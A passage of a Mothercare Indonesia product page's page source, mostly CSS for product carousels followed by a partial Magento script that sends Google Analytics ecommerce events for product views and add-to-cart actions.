.crosssell.products-grid .product-item-info, 13752 .widget.widget-related .crosssell.products-grid .product-item-info, 13753 .widget.widget-crosssell .related.products-grid .product-item-info, 13754 .widget.widget-related .related.products-grid .product-item-info { 13755 gap: 15px 13756 } 13757 13758 .widget.widget-crosssell .crosssell.products-grid .product-item-details, 13759 .widget.widget-related .crosssell.products-grid .product-item-details, 13760 .widget.widget-crosssell .related.products-grid .product-item-details, 13761 .widget.widget-related .related.products-grid .product-item-details { 13762 flex-direction: column; 13763 text-align: center 13764 } 13765 13766 .widget.widget-crosssell .crosssell.products-grid .product-item-details .product-item-name, 13767 .widget.widget-related .crosssell.products-grid .product-item-details .product-item-name, 13768 .widget.widget-crosssell .related.products-grid .product-item-details .product-item-name, 13769 .widget.widget-related .related.products-grid .product-item-details .product-item-name { 13770 max-width: 100%; 13771 height: 34px; 13772 margin: 0 0 20px 13773 } 13774 13775 .widget.widget-crosssell .crosssell.products-grid .product-item-details .product-item-name .product-item-link, 13776 .widget.widget-related .crosssell.products-grid .product-item-details .product-item-name .product-item-link, 13777 .widget.widget-crosssell .related.products-grid .product-item-details .product-item-name .product-item-link, 13778 .widget.widget-related .related.products-grid .product-item-details .product-item-name .product-item-link { 13779 font-style: normal !important; 13780 font-weight: 700 !important; 13781 font-size: 12px !important; 13782 line-height: 150% !important; 13783 text-align: center !important; 13784 letter-spacing: -.011em !important; 13785 color: #ffffff !important; 13786 font-family: 'mothercare_2020-regular-webfont' !important; 13787 display: block !important; 13788 text-transform: unset !important; 13789 } 13790 13791 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box, 13792 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box, 13793 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box, 13794 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box { 13795 flex-grow: 1; 13796 align-items: flex-end; 13797 display: flex 13798 } 13799 13800 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box, 13801 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box, 13802 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box, 13803 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box { 13804 font-family: Arial, Helvetica, sans-serif; 13805 display: flex; 13806 flex-flow: wrap; 13807 max-width: 100%; 13808 width: 100%; 13809 margin: 0; 13810 justify-content: center 13811 } 13812 13813 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13814 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13815 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13816 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13817 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price, 13818 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price, 13819 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .old-price, 13820 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price { 13821 margin: 0 5px; 13822 text-decoration-color: #ffffff; 13823 width: 100%; 13824 text-align: center 13825 } 13826 13827 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13828 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13829 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13830 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13831 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price, 13832 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price, 13833 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price, 13834 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price { 13835 font-style: normal !important; 13836 font-weight: 700 !important; 13837 font-size: 12px !important; 13838 line-height: 120% !important; 13839 color: #ffffff !important; 13840 } 13841 13842 .widget.widget-crosssell .crosss
13842ell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 13843 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 13844 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 13845 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .discount-percent { 13846 order: 3; 13847 background: #f24822; 13848 font-style: normal; 13849 font-weight: 400; 13850 font-size: 12px; 13851 line-height: 24px; 13852 letter-spacing: -.011em; 13853 color: #fff; 13854 padding: 0 4px; 13855 margin-left: 5px; 13856 font-family: 'mothercare_2020-regular-webfont'; 13857 } 13858 13859 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13860 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13861 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13862 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13863 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13864 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13865 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13866 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13867 .widget.widget-crosssell .crosssell.products-grid .product-item-details .price { 13868 font-style: normal; 13869 font-weight: 700; 13870 font-size: 16px; 13871 line-height: 150%; 13872 letter-spacing: -.011em; 13873 color: #1e1e1e 13874 } 13875 13876 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box>.price, 13877 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box>.price, 13878 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box>.price, 13879 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box>.price { 13880 font-style: normal; 13881 font-weight: 700; 13882 font-size: 14px; 13883 line-height: 120%; 13884 color: #7d1616; 13885 font-family: Arial, Helvetica, sans-serif 13886 } 13887 13888 .widget.widget-crosssell .crosssell.products-grid .product-item-details .check, 13889 .widget.widget-related .crosssell.products-grid .product-item-details .check, 13890 .widget.widget-crosssell .related.products-grid .product-item-details .check, 13891 .widget.widget-related .related.products-grid .product-item-details .check { 13892 margin-top: 16px 13893 } 13894 13895 .widget.widget-crosssell .crosssell.products-grid .product-item-details .check span, 13896 .widget.widget-related .crosssell.products-grid .product-item-details .check span, 13897 .widget.widget-crosssell .related.products-grid .product-item-details .check span, 13898 .widget.widget-related .related.products-grid .product-item-details .check span { 13899 font-style: normal; 13900 font-weight: 700; 13901 font-size: 10px; 13902 letter-spacing: -.011em; 13903 color: #1d1d1d; 13904 font-family: Arial, Helvetica Neue, Helvetica, sans-serif 13905 } 13906 13907 .widget.widget-crosssell .crosssell.products-grid .slick-arrow, 13908 .widget.widget-related .crosssell.products-grid .slick-arrow, 13909 .widget.widget-crosssell .related.products-grid .slick-arrow, 13910 .widget.widget-related .related.products-grid .slick-arrow { 13911 width: 40px !important; 13912 height: 40px !important; 13913 border: none !important; 13914 background-position: center !important; 13915 background-repeat: no-repeat !important; 13916 } 13917 13918 @media screen and (max-width: 767px) { 13919 13920 .widget.widget-crosssell .crosssell.products-grid .slick-arrow, 13921 .widget.widget-related .crosssell.products-grid .slick-arrow, 13922 .widget.widget-crosssell .related.products-grid .slick-arrow, 13923 .widget.widget-related .related.products-grid .slick-arrow { 13924 display: block !important 13925 } 13926 13927 .widget-crosssell .products-grid .slick-track { 13928 overflow-x: auto; 13929 margin-top: 20px; 13930 } 13931 13932 .checkout-cart-index .column.main .block:not(.crosssell) .content { 13933 padding: 0px; 13934 } 13935 } 13936 13937 .widget.widget-crosssell .crosssell.products-grid .slick-arrow.slick-prev, 13938 .widget.widget-related .crosssell.products-grid .slick-arrow.slick-prev, 13939 .widget.widget-crosssell .related.products-grid .slick-arrow.slick-prev, 13940 .widget.widget-related .related.products-grid .slick-arrow.slick-prev { 13941 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-prev-arrow.svg) 13942 } 13943 13944 .widget.widget-crosssell .crosssell.products-grid .slick-arrow.slick-next, 13945 .widget.widget-related .crosssell.products-grid .slick-arrow.slick-next, 13946 .widget.widget-crosssell .related.products-grid .slick-arrow.slick-next, 13947 .widget.widget-related .related.products-grid .slick-arrow.slick-next { 13948 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-next-arrow.svg); 13949 } 13950 13951 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box { 13952 display: flex; 13953 flex-flow: row wrap; 13954 justify-content: center; 13955 align-content: flex-end; 13956 height: 52px; 13957 } 13958 13959 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.crossed { 13960 width: 100% 13961 } 13962 13963 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.crossed .old-price { 13964 text-decoration: unset 13965 } 13966 13967 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.crossed .old-price .price { 13968 font-style: normal; 13969 font-weight: 700; 13970 font-size: 12px; 13971 line-height: 120%; 13972 color: #ffffff; 13973 text-decoration: line-through 13974 } 13975 13976 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.percent { 13977 width: auto; 13978 order: 3 13979 } 13980 13981 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.percent .discount-percent { 13982 padding: 2px 4px 13983 } 13984 13985 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.main { 13986 margin-top: 4px; 13987 width: auto 13988 } 13989 13990 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box.main .price { 13991 font-size: 14px; 13992 font-weight: 700; 13993 color: #1e1e1e 13994 } 13995 13996 .widget.widget-crosssell button.action.tocart.primary { 13997 background: #7d1616; 13998 padding: 2px 15px; 13999 font-family: 'mothercare_2020-regular-webfont'; 14000 font-style: normal; 14001 font-weight: 700; 14002 font-size: 13px; 14003 color: #fff; 14004 letter-spacing: normal; 14005 border-radius: 5px; 14006 text-transform: none; 14007 width: calc(100% - 20px); 14008 } 14009 14010 .widget.widget-crosssell .actions-primary { 14011 position: absolute; 14012 left: 0; 14013 right: 0; 14014 bottom: 10px; 14015 text-align: center; 14016 z-index: 11; 14017 opacity: 0; 14018 visibility: hidden; 14019 transition: all 0.4s ease; 14020 } 14021 14022 .widget.widget-crosssell .product-items .product-item:hover .item-img-box .actions-primary, 14023 .catalogsearch-result-index .product-items .product-item:hover .item-img-box .actions-primary { 14024 opacity: 1;
14025 visibility: visible; 14026 } 14027 14028 .widget.widget-crosssell .product-items .product-item .item-img-box, 14029 .catalogsearch-result-index .product-items .product-item .item-img-box { 14030 position: relative; 14031 display: flex; 14032 justify-content: center; 14033 border: 1px solid #f4f1f1; 14034 align-items: center; 14035 height: 372px; 14036 } 14037 14038 .widget.widget-crosssell .product-items { 14039 gap: var(--listing-grid-gap); 14040 row-gap: var(--listing-grid-row-gap); 14041 display: flex; 14042 flex-wrap: nowrap; 14043 overflow-x: auto; 14044 scroll-behavior: smooth; 14045 scroll-snap-type: none; 14046 -ms-overflow-style: none; 14047 scrollbar-width: none; 14048 } 14049 14050 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .slick-arrow.slick-next { 14051 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-next-arrow.svg) !important; 14052 background-size: unset !important; 14053 } 14054 14055 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .slick-arrow { 14056 transform: unset !important; 14057 } 14058 14059 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .slick-arrow.slick-prev { 14060 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-prev-arrow.svg) !important; 14061 background-size: unset !important; 14062 } 14063 14064 .widget.widget-upsell .upsell.products-grid .slick-arrow.slick-next, 14065 .widget.widget-crosssell .crosssell.products-grid .slick-arrow.slick-next { 14066 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-next-arrow.svg) !important; 14067 } 14068 14069 .widget.widget-upsell .upsell.products-grid .slick-arrow.slick-prev, 14070 .widget.widget-crosssell .crosssell.products-grid .slick-arrow.slick-prev { 14071 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-prev-arrow.svg) !important; 14072 } 14073 14074 .widget-upsell .product-items .product-item .product-item-photo { 14075 width: 325px; 14076 height: 325px !important; 14077 } 14078 14079 .widget-related .products-grid .product-item-photo .product-image-container { 14080 max-width: 325px; 14081 } 14082 14083 .widget-upsell .product-items .product-item .item-img-box { 14084 border: unset !important; 14085 } 14086 14087 @media(max-width:1280px) { 14088 .widget-upsell .product-items .product-item .item-img-box { 14089 height: unset; 14090 } 14091 } 14092 14093 .widget-related .product-items .product-item-details { 14094 flex: unset; 14095 } 14096 14097 .checkout-cart-index .widget-crosssell .product-items .product-item .item-img-box { 14098 border: unset !important; 14099 width: auto !important; 14100 margin: auto; 14101 } 14102 14103 .checkout-cart-index .widget-crosssell .crosssell.products-grid .product-item-photo { 14104 border: unset !important; 14105 height: 325px !important; 14106 width: 325px; 14107 } 14108 14109 @media(max-width:1080px) { 14110 .checkout-cart-index .widget-crosssell .product-items .product-item .item-img-box { 14111 height: unset; 14112 } 14113 } 14114 14115 .widget.widget-upsell .upsell.products-grid .price-label, 14116 .widget.widget-upsell .upsell.products-grid .swissup-ajaxpro-quick-view-wrapper, 14117 .widget.widget-crosssell .crosssell.products-grid .swissup-ajaxpro-quick-view-wrapper, 14118 .widget.widget-related .related.products-grid .swissup-ajaxpro-quick-view-wrapper { 14119 display: none; 14120 } 14121 14122 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item { 14123 padding-left: unset; 14124 padding-right: unset; 14125 } 14126 14127 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price .price, 14128 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .old-price .price, 14129 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price .price { 14130 text-decoration: line-through; 14131 } 14132 14133 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price, 14134 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .old-price, 14135 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price, 14136 .catalog-product-view .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price { 14137 text-decoration: none; 14138 } 14139 14140 @media(max-width:768px) { 14141 14142 .checkout-cart-index .widget-crosssell .crosssell.products-grid .product-item-photo, 14143 .widget-upsell .upsell.products-grid .product-item-photo { 14144 height: auto !important; 14145 } 14146 14147 .checkout-cart-index .widget-crosssell .product-items .product-item .item-img-box { 14148 width: 100% !important; 14149 } 14150 14151 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item, 14152 .widget-upsell .upsell.products-grid .product-item { 14153 padding: unset; 14154 /* float: left !important; */ 14155 } 14156 14157 .widget.widget-upsell .product-items .product-item .item-img-box { 14158 height: auto !important; 14159 } 14160 14161 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-items .slick-next.slick-arrow, 14162 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-items .slick-prev.slick-arrow { 14163 display: block !important; 14164 } 14165 14166 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .slick-arrow {
14167 width: 20px 14168 } 14169 14170 .products-widget-container .slick-track .slick-initialized .slick-slide { 14171 float: left !important; 14172 } 14173 14174 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .product-item-name { 14175 margin: 0 0 10px; 14176 } 14177 14178 .checkout-cart-index .products-widget-container .crosssell.products-crosssell .slick-list .product-item-info .check { 14179 padding-top: 0; 14180 } 14181 14182 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .check { 14183 margin-top: 8px; 14184 } 14185 14186 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14187 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14188 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14189 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14190 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14191 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14192 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14193 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14194 .widget.widget-upsell .upsell.products-grid .product-item-details .price { 14195 font-style: normal; 14196 font-weight: 700; 14197 font-size: 14px; 14198 line-height: 150%; 14199 letter-spacing: -.011em; 14200 color: #1e1e1e; 14201 } 14202 14203 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14204 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14205 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14206 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 14207 .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14208 .widget.widget-related .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14209 .widget.widget-crosssell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14210 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 14211 .widget.widget-crosssell .crosssell.products-grid .product-item-details .price { 14212 font-style: normal; 14213 font-weight: 700; 14214 font-size: 14px; 14215 line-height: 150%; 14216 letter-spacing: -.011em; 14217 color: #1e1e1e; 14218 } 14219 14220 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .price-label { 14221 display: none; 14222 } 14223 14224 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-items .product-item-info { 14225 height: auto !important; 14226 } 14227 } 14228 14229 @media screen and (max-width: 500px) { 14230 14231 .widget.widget-upsell .upsell.products-grid.slick-initialized>.product-items strong.product.name.product-item-name, 14232 .widget.widget-crosssell .crosssell.products-grid.slick-initialized>.product-items strong.product.name.product-item-name { 14233 height: 36px; 14234 } 14235 14236 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price { 14237 margin: 0; 14238 text-decoration-color: #D9D9D6; 14239 width: 100%; 14240 text-align: center; 14241 } 14242 14243 .crosssell .product.details.product-item-details { 14244 flex: unset; 14245 } 14246 14247 .crosssell .slick-initialized .slick-slide { 14248 height: 100%; 14249 } 14250 14251 .widget-crosssell .products-grid .slick-slider .slick-list, 14252 .slick-slider .slick-track>.product-items { 14253 overflow: auto; 14254 /* Enable horizontal scrolling */ 14255 scroll-behavior: smooth; 14256 scroll-snap-type: x mandatory; 14257 /* Ensure smooth snapping */ 14258 } 14259 14260 .widget-crosssell .products-grid .slick-track { 14261 display: flex; 14262 flex-wrap: nowrap; 14263 width: auto !important; 14264 /* Ensure the width adjusts dynamically */ 14265 } 14266 14267 .widget-crosssell .products-grid .product-items { 14268 flex: 0 0 auto; 14269 /* Prevent items from shrinking or growing */ 14270 } 14271 14272 .widget.widget-upsell .products-grid.slick-initialized>.product-items { 14273 padding-bottom: 19px !important; 14274 scrollbar-width: thin !important; 14275 } 14276 14277 .checkout-cart-index .widget-crosssell .product-items .product-item .item-img-box { 14278 border: unset !important; 14279 width: 118px !important; 14280 margin: auto; 14281 } 14282 14283 .widget.widget-upsell .upsell.products-grid .product-item { 14284 width: calc(100% / 2.5 - 30px); 14285 } 14286 14287 .widget.widget-upsell .block-title { 14288 margin: 0 !important; 14289 padding: 0 0 0px !important; 14290 } 14291 14292 .widget.widget-upsell .slick-list.products.list.items.product-items { 14293 padding-top: 20px !important; 14294 } 14295 14296 .widget.widget-upsell .upsell.products-grid .slick-arrow, 14297 .widget.widget-related .upsell.products-grid .slick-arrow, 14298 .widget.widget-upsell .related.products-grid .slick-arrow, 14299 .widget.widget-related .related.products-grid .slick-arrow { 14300 display: none !important; 14301 } 14302 14303 .widget.widget-upsell .upsell.products-grid .product-item-details .product-item-name { 14304 margin-bottom: 10px !important; 14305 } 14306 14307 .widget-upsell .product-items .product-item-details { 14308 flex: unset; 14309 } 14310 14311 .widget.widget-upsell .upsell.products-grid .product-item-photo .product-image-container img { 14312 aspect-ratio: 1; 14313 } 14314 14315 .widget.widget-upsell .upsell.products-grid .product-item-details .product-item-name .product-item-link { 14316 overflow: hidden; 14317 display: -webkit-box; 14318 -webkit-line-clamp: 2; 14319 line-clamp: 2; 14320 -webkit-box-orient: vertical; 14321 } 14322 14323 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .product-item-name .product-item-link { 14324 overflow: hidden; 14325 display: -webkit-box !important; 14326 -webkit-line-clamp: 2; 14327 line-clamp: 2 !important; 14328 -webkit-box-orient: vertical; 14329 height: 36px; 14330 } 14331 14332 .widget.widget-crosssell .crosssell.products-grid .product-item-photo .product-image-container img { 14333 aspect-ratio: 1; 14334 } 14335 } 14336 14337 @media screen and (max-width: 390px) { 14338 .widget.widget-upsell .products-grid.slick-initialized>.product-items { 14339 padding-bottom: 19px !important; 14340 scrollbar-width: thin !important; 14341 } 14342 14343 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .old-price { 14344 margin: 0 5px; 14345 } 14346 14347 .checkout-cart-index .widget-crosssell .product-items .product-item .item-img-box { 14348 border: unset !important; 14349 width: 118px !important; 14350 margin: 0; 14351 } 14352 14353 .widget.widget-upsell .upsell.products-grid .slick-arrow, 14354 .widget.widget-related .upsell.products-grid .slick-arrow, 14355 .widget.widget-upsell .related.products-grid .slick-arrow, 14356 .widget.widget-related .related.products-grid .slick-arrow { 14357 display: none !important; 14358 } 14359 14360 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 14361 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 14362 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 14363 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 14364 .checkout-cart-index .widget.widget-crosssell .crosssell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent { 14365 order: 3; 14366 background: #f22222; 14367 font-style: normal; 14368 font-weight: 400; 14369 font-size: 12px; 14370 line-height: 24px; 14371 letter-spacing: -.011em; 14372 color: #fff; 14373 padding: 0px 2px; 14374 font-family: 'Arial' !important; 14375 margin-left: 0px; 14376 } 14377 } 14378 14379 strong.product.name.product-item-name { 14380 overflow: hidden; 14381 } 14382 14383 strong.product.name.product-item-name { 14384 /* height: 87px; */ 14385 } 14386 14387 li.item.product.product-item.slick-slide.slick-active { 14388 float: left !important; 14389 } 14390 14391 .products-widget-container .slick-track .slick-initialized .slick-slide { 14392 float: left !important; 14393 } 14394 14395 .catalog-product-view .bundle-options-container .bundle-wrapper .bundle-info .amasty-label-container { 14396 position: absolute; 14397 display: none !important; 14398 } 14399 14400 /* .checkout-cart-index .products-crosssell .product-item .product-item-info .product-image-container .amasty-label-container { 14401 width: auto !important; 14402 }*/ 14403 </style> 14404 </strong> 14405 </div> 14406 </div> 14407 </main> 14408 <div class="ga"><strong> 14409
14409<script data-breeze=""> 14410 require(['jquery', 'Magento_Customer/js/customer-data'], function($, customerData) { 14411 const currentWwebsiteId = 3; 14412 var products; 14413 var productName; 14414 var countFirstLoad = 4; 14415 var websiteId = window.checkout.websiteId; 14416 $(document).ready(function() { 14417 try { 14418 window.dataLayer = window.dataLayer || []; 14419 var productIds = []; 14420 var productId = $('.price-box.price-final_price').attr('data-product-id'); 14421 productIds.push(productId); 14422 $.ajax({ 14423 type: 'POST', 14424 url: window.location.origin + '/datalayer/ga/cartlayer', 14425 data: { 14426 'ids': productIds, 14427 'requestFrom': 'recent_view' 14428 }, 14429 success: function(data) { 14430 let _productName = data[0].product_name ? data[0].product_name : "Not Defined"; 14431 let _sku = data[0].sku ? data[0].sku : "Not Defined"; 14432 let _productPrice = data[0].price ? data[0].price : "Not Defined"; 14433 let _brand = data[0].origin_brand ? data[0].origin_brand : "Not Defined"; 14434 let _category = data[0].category ? data[0].category : "Not Defined"; 14435 let _category1 = data[0].category1 ? data[0].category1 : "Not Defined"; 14436 let _category2 = data[0].category2 ? data[0].category2 : "Not Defined"; 14437 let _category3 = data[0].category3 ? data[0].category3 : "Not Defined"; 14438 var products = [{ 14439 'item_name': _productName, 14440 'item_id': _sku, 14441 'price': _productPrice, 14442 'item_brand': _brand, 14443 'item_category': _category, 14444 'item_category2': _category1, 14445 'item_category3': _category2, 14446 'item_category4': _category3, 14447 'item_variant': "Not Defined", 14448 'quantity': 1 14449 }]; 14450 dataLayer.push({ 14451 'event': 'view_item', 14452 'eventCategory': 'ecommerce', 14453 'eventAction': 'product_detail', 14454 'eventLabel': _productName, 14455 'ecommerce': { 14456 'items': products 14457 } 14458 }); 14459 } 14460 }); 14461 } catch (err) { 14462 console.log('error product view : ' + err.message); 14463 } 14464 }); 14465 $('#product-addtocart-button').click(function(e) { 14466 e.stopPropagation(); 14467 try { 14468 var cart = customerData.get('cart'); 14469 var productName = $('.page-title-wrapper span').text(); 14470 var productSku = $('#product_addtocart_form').attr('data-product-sku'); 14471 var productQty = $('#qty').val(); 14472 var productCategory = "Food,Nordic Natural,Free Shipping,App promotion,May "; 14473 generateOptionProduct(cart, productName, productSku, productCategory); 14474 } catch (err) { 14475 console.log('error ga add to cart : ' + err.message); 14476 } 14477 }); 14478 $('.input-text.qty').on('change', function() { 14479 try { 14480 var cart = customerData.get('cart'); 14481 var count = cart().summary_count; 14482 productName = $('.page-title-wrapper span').text(); 14483 var productSku = $('.product-info-stock-sku .product.attribute.sku .value').text(); 14484 var productQty = $(this).val(); 14485 var productPrice = $('.product-info-main .price-final_price').find('.price-wrapper ').attr('data-price-amount'); 14486 var productBrand = "Nordic Natural"; 14487 var productCategory = "Food,Nordic Natural,Free Shipping,App promotion,May "; 14488 var itemCart = [{ 14489 'name': productName, 14490 'id': productSku, 14491 'price': productPrice, 14492 'brand': productBrand, 14493 'category': productCategory, 14494 'quantity': productQty 14495 }]; 14496 window.dataLayer = window.dataLayer || []; 14497 dataLayer.push({ 14498 'event': 'addToCart', 14499 'eventCategory': 'Ecommerce', 14500 'eventAction': 'Add To Cart', 14501 'eventLabel': productName, 14502 'ecommerce': { 14503 'items': itemCart 14504 } 14505 }); 14506 } catch (err) { 14507 console.log('error ga change quantity : ' + err.message); 14508 } 14509 }); 14510 var isDesktopRecentTrigger = false; 14511 var productList = $.storage.ns('product_data_storage').get(); 14512 window.addEventListener('scroll', function(e) { 14513 e.stopPropagation(); 14514 e.preventDefault(); 14515 try { 14516 if ($('.recent.products-grid').length > 0) { 14517 if (elementInView($('.recent.products-grid')) && isDesktopRecentTrigger == false) { 14518 var itemsRecent = []; 14519 var products = []; 14520 var productIds = []; 14521 var productVariant = 'Not Defined'; 14522 let index = 1; 14523 Object.keys(productList).forEach(function(key) { 14524 if (index > countFirstLoad) return; 14525 productIds.push(key); 14526 index++; 14527 }); 14528 $.ajax({
14529 type: 'POST', 14530 url: window.location.origin + '/datalayer/ga/cartlayer', 14531 data: { 14532 'ids': productIds, 14533 'requestFrom': 'recent_view' 14534 }, 14535 success: function(data) { 14536 let idxData = 1; 14537 $.each(data, function(index, itemProd) { 14538 let _productName = itemProd.product_name ? itemProd.product_name : "Not Defined"; 14539 let _sku = itemProd.sku ? itemProd.sku : "Not Defined"; 14540 let _productPrice = itemProd.price ? itemProd.price : "Not Defined"; 14541 let _brand = itemProd.origin_brand ? itemProd.origin_brand : "Not Defined"; 14542 let _category = itemProd.category ? itemProd.category : "Not Defined"; 14543 let _category1 = itemProd.category1 ? itemProd.category1 : "Not Defined"; 14544 let _category2 = itemProd.category2 ? itemProd.category2 : "Not Defined"; 14545 let _category3 = itemProd.category3 ? itemProd.category3 : "Not Defined"; 14546 var products = { 14547 'item_name': _productName, 14548 'item_id': _sku, 14549 'price': _productPrice, 14550 'item_brand': _brand, 14551 'item_category': _category, 14552 'item_category2': _category1, 14553 'item_category3': _category2, 14554 